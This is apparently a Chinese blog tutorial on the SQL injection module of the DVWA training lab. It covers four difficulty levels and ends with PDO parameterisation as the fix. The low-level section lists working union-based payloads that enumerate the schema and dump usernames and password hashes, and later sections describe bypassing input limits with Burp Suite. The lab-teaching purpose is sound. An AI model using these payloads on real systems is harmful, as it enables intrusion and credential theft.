DVWA的使用3–SQL Injection(SQL注入)

DVWA的使用3–SQL Injection(SQL注入)

通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。利用现有应用程序,将(恶意的)SQL命令注入到后台数据库引擎执行的能力,它可以通过在Web表单中输入(恶意)SQL语句得到一个存在安全漏洞的网站上的数据库,而不是按照设计者意图去执行SQL语句。

1).low级别

源码:
DVWA的使用3–SQL Injection(SQL注入)
对前端传递进来的参数ID没有做任何过滤和检测,对于提交的请求直接参与SQL代码的查询。
漏洞利用:
DVWA的使用3–SQL Injection(SQL注入)
直接构造PAYLOAD:
查询列数:1’ order by 2;#
union查询:1’ union select 1,2;#
查询用户与数据库名:1’ union select database(),current_user();#
查询表:1’ union select 1, group_concat(table_name) from information_schema.tables where table_schema=database();#
查询列:1’ union select 1, group_concat(column_name) from information_schema.columns where table_name=’users’;#
查询值:1’ union select group_concat(user_id,first_name,last_name),group_concat(password) from users; #

2).medium级别

源码:
DVWA的使用3–SQL Injection(SQL注入)
漏送利用:
下拉列表限制用户输入,使用burp suite抓包修改即可绕过限制。
DVWA的使用3–SQL Injection(SQL注入)
DVWA的使用3–SQL Injection(SQL注入)

3).high级别

源码:
DVWA的使用3–SQL Injection(SQL注入)
查询语句获取ID时,增加了单引号,所以这是个字符型注入,limit 1限制了只能查询一个结果,这个用注释#就可以绕过。
DVWA的使用3–SQL Injection(SQL注入)
DVWA的使用3–SQL Injection(SQL注入)

4).impossible级别

源码:
DVWA的使用3–SQL Injection(SQL注入)
使用了pdo实现数据代码分离,而且针对查询结果进行限制,只有1条时才会输出,提高了一定的安全性。

更多dvwa的使用及漏洞利用:https://blog.csdn.net/zjw0411/article/category/7542496